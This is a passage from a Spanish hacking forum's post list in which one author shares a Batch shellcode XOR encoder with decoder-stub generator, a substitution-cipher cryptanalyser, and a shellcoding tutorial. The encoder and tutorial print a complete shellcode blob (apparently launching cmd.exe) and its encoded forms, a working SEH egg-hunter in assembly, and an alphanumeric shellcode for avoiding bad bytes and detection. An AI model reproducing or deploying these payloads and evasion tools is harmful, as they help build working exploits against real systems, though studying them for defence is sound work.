elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Temas
Páginas: [1]
1  Programación / Scripting / [Batch] Codificador de shellcodes en: 27 Febrero 2011, 00:29 am
Referencia
Código:
:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
:: -Utiliza el metodo xor para cifrar.
:: -Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
:: -Identifica la existencia de bytes nulos y saltos de linea.
:: -Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
:: -Tama?o maximo de la shellcode de entrada: 61423 bytes
:: -Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&& set xor_value=9

:encode
set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
echo =^> Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&& goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^> Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%>sc.shellcode
echo =^> Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
if !errorlevel!==0 (echo =^<  %%a encontrado con: xor 0x%xor_value%
goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^> Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo jmp short sc_data
echo decode_routine:
echo   pop ebx          
echo xor ecx,ecx
echo mov cx, 0x%hex: =%
echo sub cx, 0x1010
echo decode_loop:
echo xor byte [ebx], 0x%xor_value%
echo inc ebx
echo loop decode_loop
echo jmp short shellcode
echo sc_data:
echo call decode_routine
echo shellcode:)>%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&& echo ^>Proceso finalizado^<
goto:eof
:err
echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof

:d2h
set dec=%1&& set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&& goto:EOF

El codigo esta bastante entendible con etiquetas explicativas y los mensajes de salida del proceso.

Aqui una captura de salida del script trabajando:

Citar
=Shellcode original:

\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31

\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74

\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38

\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0

\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff

\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00
=> Codificando Opcodes (xor 0x10)...
=Shellcode codificada:

\xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f\xa7\x5a\x36\x21\xef\x21

\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64

\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\xd1\xdf\x1d\x11\xd7\x28

\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\

x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\x21\x9b\x7f\x97\xef\

xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\x30\x10
=> Moviendo shellcode codificada a sc.shellcode...
=> Buscando bytes nulos y saltos de linea en sc.shellcode...
=<  \x00 encontrado con: xor 0x10
=> Codificando Opcodes (xor 0x11)...
=Shellcode codificada:

\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20

\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65

\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29

\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\

x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\

xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11
=> Moviendo shellcode codificada a sc.shellcode...
=> Buscando bytes nulos y saltos de linea en sc.shellcode...
=> Creando codigo fuente del stub decodificador...
****************10c111_decoder.asm********
[BITS 32]
global ini
ini:
   jmp short sc_data      
decode_routine:
    pop ebx             
   xor ecx,ecx         
   mov cx, 0x10c1
   sub cx, 0x1010         
decode_loop:
   xor byte [ebx], 0x11      
   inc ebx            
   loop decode_loop         
   jmp short shellcode      
sc_data:
   call decode_routine         
shellcode:
*****************************************
=Codigo del decodificador guardado en 10c111_decoder.asm

>Proceso finalizado<

Saludos!
2  Programación / Scripting / [Batch] Criptoanalizador del cifrado generico monoalfabetico por sustitucion en: 26 Febrero 2011, 14:23 pm
Se que aun puede tener alguno que otro fallo, pero aun no los he encontrado. Tambien me gustaria agilizar el proceso un poco mas.
Citar
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::Decriptor del sistema de encriptacion generico monoalfabetico por
:: sustitucion
::Escrito por: lShadowl
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
@echo off
setlocal enabledelayedexpansion
:::::::::::::::::::::::::
::Establece las variables
:::::::::::::::::::::::::
set/p str=Cadena cifrada:
echo.&&echo.&&echo.
set abc=abcdefghijklmn_opqrstuvwxyz
set phieuler27=18
set str_len=0
set cnt=0
set ret=0
call :set_len
set/a s_len=%str_len%-1
echo.>%temp%\p.tmp
echo.>outp.txt
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::Busca el conjunto de letras que utiliza la cadena cifrada
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
for /l %%x in (0,1,%str_len%) do (
   if !cnt!==0 (
      set letra_!cnt!=!str:~0,1!
      set /a cnt+=1
   ) else (
      set ret=1
      set/a v=!cnt!-1
      for /l %%y in (0,1,!v!) do call:cmp !letra_%%y! !str:~%%x,1!
      if !ret!==1 (
         set letra_!cnt!=!str:~%%x,1!
         set /a cnt+=1
      )
   )
)
set /a cnt-=2
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::Busca el numero de repeticiones que tienen cada una de las letras
:: del conjunto de letras de la cadena cifrada
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
for /l %%x in (0,1,%str_len%) do (
   for /l %%y in (0,1,%cnt%) do (
      call:cmp !letra_%%y! !str:~%%x,1! %%y
   )
)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::Realiza el ordenamiento de menor a mayor de las letras en relacion
:: a su cantidad de repeticiones en la cadena cifrada
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
set/a uv=%cnt%-1
set/a uv2=%cnt%
for /l %%a in (0,1,%uv%) do (
   set/a vaux=%%a+1
   for /l %%b in (!vaux!,1,!uv2!) do (
      if /I !cnt_%%a! gtr !cnt_%%b! (
         set tmp=!cnt_%%a!
         set tmp_l=!letra_%%a!
         set cnt_%%a=!cnt_%%b!
         set letra_%%a=!letra_%%b!
         set cnt_%%b=!tmp!
         set letra_%%b=!tmp_l!
      )
   )
)
::::::::::::::::::::::::::::::::
::Genera el alfabeto del mensaje
::::::::::::::::::::::::::::::::
set Kabc=%letra_0%
for /l %%a in (1,1,%cnt%) do (call:k %%a)
if /I %cnt% lss 27 (
   for %%a in (a b c d e f g h i j k l m n _ o p q r s t u v w x y z) do (
      echo !Kabc!|find "%%a">nul
      if !errorlevel!==1 set Kabc=!Kabc!%%a
   )
)
::::::::::::::::::::::::::
::Busqueda de congruencias
::::::::::::::::::::::::::
set/a ma=0,sw=0
:m1
set mb=0
if %ma%==0 (
   if %sw%==0 (
      set sw=1
      goto :m2
   )
) else if %ma%==26 goto :end
set/a ma+=1
:m2
set mc=0
set/a mb+=1
if not %mb%==27 (
   if %mb%==%ma% (goto :m2)
) else goto :m1
:m3
set/a mc+=1
if not %mc%==27 (
   if %mc%==%ma% (
      goto :m3
   ) else if %mc%==%mb% goto :m3
rem   echo %ma% %mb% %mc%
   call:atk %ma% %mb% %mc%
   goto :m3
) else goto :m2
:end
echo FINALIZADO
goto:eof

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:atk
call:fndpos !Kabc:~%1,1! p1 abc
call:fndpos !Kabc:~%2,1! p2 abc
call:fndpos !Kabc:~%3,1! p3 abc

set/a b=%p2%%%27

set/a parta=%p3%-%p1%
if /I %parta% lss 0 set parta=27-%parta%
set/a a=(%parta%*5)%%27

call:mcd %a%
rem echo %p1%:%p2%:%p3% mcd=%mcd%
if %mcd%==1 (
   for /f "tokens=* delims=" %%a in (%temp%\p.tmp) do if %a%%b%==%%a goto:eof
   echo %a%%b%>>%temp%\p.tmp
   set abc2=
   set txt=
   for /l %%x in (0,1,26) do (call:stABC %%x %a% %b%)
   echo a=%a% b=%b% ^>^>
   set txt=
   for /l %%x in (0,1,%s_len%) do (call:stT %%x)
   echo %txt%>>outp.txt
   echo.&&echo.
)
goto:eof

::Realiza comparaciones de cadenas   
:cmp
if %1==%2 (set ret=0&& if not '%3==' set val=%3&& set/a cnt_!val!+=1)
goto:eof

::Encuentra el largo de una cadena
:set_len
set var=!str:~%str_len%,1!
if %var%'==' goto:eof
set/a str_len+=1
goto:set_len

::Encuentra el maximo comun divisor
:mcd
set mcd=1
set cva=27
set cvb=%1
set i=2
:lop
set/a v_a=%cva%%%%i%,v_b=%cvb%%%%i%
if %V_a%%v_b%'==00' (
   set/a mcd*=%i%
   set/a cva/=%i%
   set/a cvb/=%i%
   set i=2
) else (set/a i+=1)
if /I not %i% geq %cva% goto:lop
goto:eof

::Genera la posible cadena
:stT
call:fndpos !str:~%1,1! t1 abc2
set/a t1%%=27
set/p txt=!abc:~%t1%,1!<nul
set txt=%txt%!abc:~%t1%,1!
goto:eof

::Genera el alfabeto para la ecuacion dada
:stABC
call:fndpos !abc:~%1,1! t1 abc
set/a ct=((%2*%t1%+(%3+1))%%27)
set abc2=%abc2%!abc:~%ct%,1!
goto:eof

::Busca el valor numerico de la letra dada
:fndpos
for /l %%a in (0,1,27) do (
   set ret=1
   call:cmp !%3:~%%a,1! %1
   if !ret!==0 call set %2=%%a
)
goto:eof


:k
set Kabc=%Kabc%!letra_%1!
goto:eof

PD: _=ñ
PD2: la frase a criptoanalizar escribanla en una sola linea sin espacios.
3  Seguridad Informática / Bugs y Exploits / [Taller] Shellcoding: No mas bytes nulos! en: 26 Febrero 2011, 14:18 pm
Shellcoding: No mas bytes nulos!

por lShadowl



Este articulo toca, ademas de la evasion de la presencia de caracteres restringidos ("00", "0D0A") en nuestra shellcode por medio de un metodo simple de codificacion XOR, algunos problemas comunes al programar shellcodes y como se han logrado resolver.



Teoria :)

Para entender por que algunos bytes o pares de bytes son restringidos o devieramos evitarlos a la hora de programar una shellcode debemos primero entender como los exploits manejan la shellcode, para que la utilizan, para eso veamos que es un exploit:

Un exploit es un programa que aprovecha un fallo o vulnerabilidad de otro programa para causar un comportamiento anormal en el, mayormente se busca la toma de control de un sistema o un ataque de negacion de servicio.

Los exploits actuan inyectando una porcion de codigo malicioso (la shellcode) dentro de una cadena de characteres de el programa vulnerado recibe y que posteriormente por un error en su programacion este ejecuta o crealiza algun proceso como simplemente copiar la cadena donde fue inyectada la shellcode a un lugar de memoria causando un desbordamiento de buffer si es lo que se pretendia.

Este es el punto de cuidado al codear la shellcode, como vimos, estas son injectadas a un programa que recibe una cadena de caracteres como entrada.


>>Printable x86 opcodes table

Como podemos ver en la tabla de opcodes, los valores hexadecimales de CR y LF (un salto de linea) son "0D" y "0A" respectivamente, es decir que si se injecta una shellcode con estos caracteres, el programa host (donde se inyecta) indentificara la secuencia y hara el salto de linea causando efectos catastroficos en el funcionamiento de la shellcode, esto mismo para con el byte "00" (byte nulo), el que en una cadena supone su final, otro byte que tenemos que evitar.



+Teoria: otros problemas comunes al codear //clases de shellcodes

->Shellcodes polimorficas:

Un metodo para evitar heuristicas es el polimorfismo, los creadores de vx sabran que hacer una shellcode polimorfica es lo mismo que trabajar esa tecnica en la creacion de virus.

Basicamente esta tecnica consiste en hacer que el programa sea capaz de modificar su codigo por si mismo y llegar a un mismo resultado.
Como? veamos de que estoy hablando por medio de relaciones:

a+b=c
b+c=c
1(a+b)=c
(a+(2*3))+(b+6)=c

Como podemos ver, operaciones diferentes, llegan al mismo resultado.
Igual en asm:

{
  xor cx,cx
  add cx,32h
}opcodes: 31C983C132 // cx=32h

{
  xor cx,cx
  mov cl,31h
  inc cx
}opcodes: 31C9B13141 // cx=32h

El primer conjunto de instrucciones "31C983C132" son diferentes al segundo "31C9B13141", sin embargo tienen la misma cantidad de bytes y llegan al mismo resultado con el registro cx.

Esta es la base del polimorfismo, aunque tambien se utiliza para modificar la shellcode buscando eliminar bytes restringidos como veremos mas adelante.

-> Staged shellcodes ~ Shellcode por etapas:

Muchas veces existe el problema de que el programa vulnerable nos limita el tama?o que es capaz de recibir, en este caso la estrategia del atacante es introducir una sección de shellcode peque?a que hace funcion de 'stub' cargando el resto de la shellcode estando ya dentro del host.

Existen otros tipos de staged shellcode, la egg-hunt shellcode y la omelet (similar a la egg-hunt).

--> Egg-hunt ~ Caceria de huevos:

La egg-hunt basa su estrategia en cargar la parte mayor en un lugar de memoria con espacio para mantenerla pero con una direccion desconocida, este vendria siendo el huevo, el loader, la primera sección de la shellcode en inyectarse es la encargada de revisar cada proceso en busca del huevo (la otra sección de la shellcode).

Veamos un ejemplo:

Código
  1. egghunt:
  2. jmp startup
  3.  
  4. exception_handler:
  5. mov eax, [esp + 0x0c]
  6. lea ebx, [eax + 0x7c]
  7. add ebx, 0x3c
  8. add [ebx], 0x07
  9. mov eax, [esp]
  10. add esp, 0x14
  11. push eax
  12. xor eax, eax
  13. ret
  14.  
  15. startup:
  16. mov eax, 0x42904290         ;marca del huevo, en este caso:
  17.                                    ;nop
  18.                                    ;inc edx
  19.                                    ;nop
  20.                                    ;inc edx
  21. jmp init_exception_handler_skip
  22. init_exception_handler_fwd:
  23. jmp init_exception_handler
  24. init_exception_handler_skip:
  25. call init_exception_handler_fwd
  26.  
  27. init_exception_handler:
  28. pop ecx
  29. sub ecx, 0x25
  30. push esp
  31. push ecx
  32. xor ebx, ebx
  33. not ebx
  34. push ebx
  35. xor edi, edi
  36. mov fs:[edi], esp
  37.  
  38. search_loop_begin_pre:
  39. search_loop_start:
  40. xor ecx, ecx
  41. mov cl, 0x2
  42. push edi                    ;posible punto de inicio del huevo a la pila
  43. repe scasd                  ;el puntero actual es el inicio del huevo?
  44. jnz search_loop_failed      ;no, ok sigamos con el siguiente
  45. pop edi                     ;bien, restauramos el punto de inicio
  46. jmp edi                     ;vamos donde esta resto de la shellcode
  47.  
  48. search_loop_failed:
  49. pop edi
  50. inc edi
  51. jmp search_loop_start

-->Omelet~Varios huevos batidos cocinados con mantequilla. Excelente con queso  :D:

La unica diferencia entre el metodo egg-hunt y el omelet es que el loader del omelet inyecta varias secciones de shellcode (huevos) en diferentes procesos. Este metodo se usa cuando es limitado el tama?o permitido de inyeccion en el proceso seleccionado, generalmente los "huevos" son bastante peque?os. El omelet (loader de la shellcode) esta encargado de buscar cada una de las secciones y unirlas en una sola.

Este metodo solo es valido para win32 ya que es necesario usar la SEH (Structured Exception Handler) que se encarga de manejar las violaciones de acceso causadas por el escaneo progresivo de la memoria.

Veamos por encima las estructuras del SEH:

EXCEPTION_POINTERS Structure:

Contiene un expediente de la descripcion de la excepcion y su contexto cuando sucedio.

Código
  1. typedef struct _EXCEPTION_POINTERS {
  2.  PEXCEPTION_RECORD ExceptionRecord;
  3.  PCONTEXT          ContextRecord;
  4. }EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

EXCEPTION_RECORD Structure:

Describe la excepcion.

Código
  1. typedef struct _EXCEPTION_RECORD {
  2.  DWORD                    ExceptionCode;
  3.  DWORD                    ExceptionFlags;
  4.  struct _EXCEPTION_RECORD *ExceptionRecord;
  5.  PVOID                    ExceptionAddress;
  6.  DWORD                    NumberParameters;
  7.  ULONG_PTR                ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
  8. }EXCEPTION_RECORD, *PEXCEPTION_RECORD;

Un ejemplo del w32_SEH_omelet.py de Skypher:
Código
  1. // This is the binary code that needs to be executed to find the eggs,
  2. // recombine the orignal shellcode and execute it. It is 82 bytes:
  3. omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";
  4.  
  5. // These are the eggs that need to be injected into the target process
  6. // for the omelet shellcode to be able to recreate the original shellcode
  7. // (you can insert them as many times as you want, as long as each one is
  8. // inserted at least once). They are 64 bytes each:
  9. egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
  10. egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
  11. egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
  12. egg3 = "\x3B\xFC\x76\x08\x28\xAB\xAB\x57\x54\x52\x52\x52 ... \x40\x40\x40";
  13.  



cifrado la shellcode:

Volviendo a la primera parte de la teoria, recordemos el problema de los bytes nulos y saltos de linea, en esta sección veremos dos metodos de encripcion: el alfanumerico y el xor.

-->Alfanumerico:

El metodo alfanumerico consiste en convertir la shellcode en un conjunto de opcodes alfanumericos, de caracteres que pueden ser impresos, para evitar problemas en la inyeccion de esta.

---> Ascii art:

"Si vamos a hacer una shellcode, tiene que verse bien."
Código:
WTX638WYWX4H4Pd38V34L3w0V34034Lj034LQXH41VV34LT34LZ1dDh3dDhRQXH4d4XPhAAQBhYYYYfhXBZBBBBRJfRT14L34LWHHh
28HHXTX38d39GGGGV3717RQXH4A4a1dDb3dDbABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKABh
HH39VTX30VXH4r4PP34tjAX0DqbFkDqjQ2Dqk0D1Hu9YhTtYP6hyUpvsojbdTxAyCPDEMZTDLbprjhbXWISM3YfPmysvndkWTooNqT
DDMJGEIL7"""""""*Y""""YHBDAILHGAMILHG7"""""YBMKNILGIAIGKGEGICAEBGDGNGIFJNDGCDA7*"""7ILPELFACCLOBJJGGLK
DDDCFCG',dIHHHDDb,'CFb`PCLOBNGILPMPDK YKEB7 FB7"""7EBFBFHFBFHINHOOKLAIBDMNDHFA dGJ7 "YFPPFHPMJFFHGAILF
NDMILFM BNH , cIAY DNN ILELCAADMNDDPPb JJE dHI LDE LJADPFKMDEHBCKNADMHBHFPHDKF ECE sa BMHFOKILELCEADMN
APLHDMH JIL,""---, ELB MA7"""*"""7Y*"" 7DM NA7"---dY"""*Y*""*YDY*"""""*YCY*""* MLJ Y J*"""""*YFFPKLFHG
BDLPHKM "YHFLEFOb, KNP P',NA7 dKY  dNP",PN AJ YFLb`.YIAb,dCHb,',dGALDMb,',dGGb,JIF ,',dAFEKNb,'FFPPNAI
FMAHEPI:-----,"JJF CFC ',IN7 dHM d CED EKL MGb EHP B ABK"'*LKL FHF .,EFC FCF*'"CFE F CFC - **Y FGFCPPF
GOEILEG dPM7 O LNJ AAPTCBC(  VEJ T JOH JOH QLB """ B WDZ P QKS LZNGY**"` OGW W ONM Y `"**+uq,.'WPELAFG
VPJLWUR URH "" FYG POI .'FVb YVQ ',PLP GZJ """ "ODb' JXM E XTO COY - pqd ILD,.qOXQ 7 bpp - YKH FFKMSLB
EUSUKOX.'YWMFRRXY',CAY Di'ZQb YIEY"OWP BYOKJACSOKY" dYOS 'dVFB "YXVNQBY","YOUY"YBFb ,"YNFHOQY".WVKQJLV
PUZZLCMFbasouvnandansodGDbuan?---, CKL eanuxzvcumndbuasodbzasudbeasznvodSboezn1ozxvdLbneuoasobXLJYYBFU
VQDTSOVGXSPY7"""""""*Y""""7D dBW"  JXO KU7"""""*"""YEGLJQQLQAKSGBDEMEQLEZHTB7*"""YKKMOPFMUWUXNFJSNPFXV
DRRQAIRQQMG',dTRUKCHb,'SYb`Q."YHXQZSY".IX YONQ7.CM7 CVYAXXNBXGLFHZAKJJFEDTGW dGZ7 IRMYHDUZXIAJXIYXYRMI
MIFQRSWKMJM QVQ', eSCY ZMR RZbaesuozsdFZXb TZH QXJ JJXZYDOSIJOLWJYIIMKVIXAVK NJH dMDTSKTOAHGWBWGIJNLIS
NHNTEDQNQSJ WFX,""---, XSM *""*YLY*"""""*Y EAA FHQ Y*"""""*YIY*"""""*YVY*""* FML Y*"""""*YMAECTMQWHUOY
YFWWCIECNFK "YXIXSEAb, HFF,dSIb,',dYPSBBb, KMH TZT ,dZQNONb,',dNCHOVb,',dMCb,UJP ,dNUSEJb,'KZOIXHNWBVS
GJJKBJSBMXM:-----,"KTM ORX"'*ZUW dHA'.,ZEU SGQ UKA VLO',`**Y OTZ',`PYM NYN*'"PLF MJZ .,PZK RFNIKQUBDHT
QTDWEVEOXGX dVL7 Y JWC TFR Z WIL ZZNMY**"' ZTA CGW OND CT+=- PYQ Z QFA RJC Q GTR CGPXY**"`.YIHIUTGYLFP
IQENEBPJILC NGC,"".FIS IKK C VMZ BKO,-,qqd TUK RVY YFR,'.qqd ENO,'.SAF GZT,.qHLE HQZ - qqd FWSFUKJCEFB
YJASYKFYRCB.'YJFTEXVY',BHY Q YGY,"YJDBBAY",UKMb'GWb`YCABKYY"."YDWYHIY"."YMUY"YCAb"YBIIYNY",IEXZKKUMPQD
PDHBLIWPDBMQbouaenoxzdzzxedBbxoasdenxzsasdoeuneuzas1moxcasedGbzxnmexadPbaeox1xauo1eusazxzdMQGIJYYGPQZZ
AUYYKTZCTAWMTGVCPAMQKGZZZIUASOMJGHRKNLDYLHZYSGDJVXETRKMNMJRUNVIOPGMZHBVXFTXWVCRQBBKJGCZPIYDFDSHGISXZAL
ANUEFFTCYBBZKFUZRIHQPHPYDZJHOWXKUMBNWXGHBCGHWHDYVONRGKECYYRBNTBKDLVNGQZAYMFPJVGZWXZCCJIGSNIJKRTNRZKVZX
XPBMUPTRCDXTGCPOSCTMUQYQOZKYENJPDLZSXUFEUJCNBBZFORBAUMFUGXFCBPQKIPHAJGITAHUNUOKFJAWSZCYASNQDNOBKJBZTUN

>> http://skypher.com/wiki/index.php/Hacking/Shellcode/ASCII_Art/Blocky

Y aqui: ALPHA2, un codificador alfanumerico para shellcodes.

--> XOR-enado

Una shellcode de este tipo consiste en dos partes: el 'stub', que se encarga de decodificar el codigo cifrado y ejecutarlo y el codigo cifrado en si.

Para este tutorial he creado un simple script batch que nos permite codificar la shellcode por el metodo XOR.

Veamos el codigo:

Código
  1. :: shc_encoder (Codificador de shellcodes)
  2. :: Autor: lShadowl; The Shadow
  3. :: Fecha de realizacion: 07/08/09
  4. :: Caracteristicas:
  5. :: -Utiliza el metodo xor para cifrar.
  6. :: -Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
  7. :: -Identifica la existencia de bytes nulos y saltos de linea.
  8. :: -Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
  9. :: Limitaciones:
  10. :: -Tama?o maximo de la shellcode de entrada: 61423 bytes
  11. :: -Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
  12.  @echo off
  13. setlocal enabledelayedexpansion
  14. if '%1==' (goto:err)
  15. if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
  16. echo =Shellcode original: %shellcode%
  17. set hexstr=0123456789abcdef&& set xor_value=9
  18.  
  19. :encode
  20. set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
  21. echo =^>  Codificando Opcodes (xor 0x%xor_value%)...
  22. :encode_loop
  23. set current_byte=!shellcode:~% style="color: #448888;">i%,2!&& set encodedbyte_hex=
  24. if %current_byte%'==' (goto:test)
  25. set/a encoded_byte=0x%current_byte%^^0x%xor_value%
  26. call:d2h %encoded_byte%
  27. if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
  28. set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
  29. set/a i+=4&& goto:encode_loop
  30.  
  31. :test
  32. echo =Shellcode codificada: %encoded_shellcode%
  33. echo =^>  Moviendo shellcode codificada a sc.shellcode...
  34. echo %encoded_shellcode%>sc.shellcode
  35. echo =^>  Buscando bytes nulos y saltos de linea en sc.shellcode...
  36. for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
  37. if !errorlevel!==0 (echo =^<    %%a encontrado con: xor 0x%xor_value%
  38. goto:encode))
  39.  
  40. :len_loop
  41. set var=!shellcode:~% style="color: #448888;">sc_sz%,1!
  42. if %var%'==' goto:build_decoder
  43. set/a sc_sz+=1
  44. goto:len_loop
  45.  
  46. :build_decoder
  47. echo =^>  Creando codigo fuente del stub decodificador...
  48. set/a sc_sz/=4
  49. set/a sc_sz+=0x1010
  50. call:d2h %sc_sz%
  51. echo ****************%hex: =%%xor_value%_decoder.asm********
  52. (echo [BITS 32]
  53. echo global ini
  54. echo ini:
  55. echo jmp short sc_data
  56. echo decode_routine:
  57. echo   pop ebx                  
  58. echo xor ecx,ecx
  59. echo mov cx, 0x%hex: =%
  60. echo sub cx, 0x1010
  61. echo decode_loop:
  62. echo xor byte [ebx], 0x%xor_value%
  63. echo inc ebx
  64. echo loop decode_loop
  65. echo jmp short shellcode
  66. echo sc_data:
  67. echo call decode_routine
  68. echo shellcode:)>%hex: =%%xor_value%_decoder.asm
  69. type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
  70. echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm
  71.  
  72. echo.&& echo ^>Proceso finalizado^<
  73. goto:eof
  74. :err
  75. echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof
  76.  
  77. :d2h
  78. set dec=%1&& set hex=
  79. :loop
  80. set/a ths=%dec% %% 16
  81. call :evals %%hexstr:~%ths%,1%%
  82. if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
  83. goto:loop
  84. :evals
  85. set hex=%1%hex: =%&& goto:EOF

El script esta bastante explicado asi que pasaremos a la prueba:

Usaremos la shellcode creada en el articulo "Creando una Shellcode":

Citar
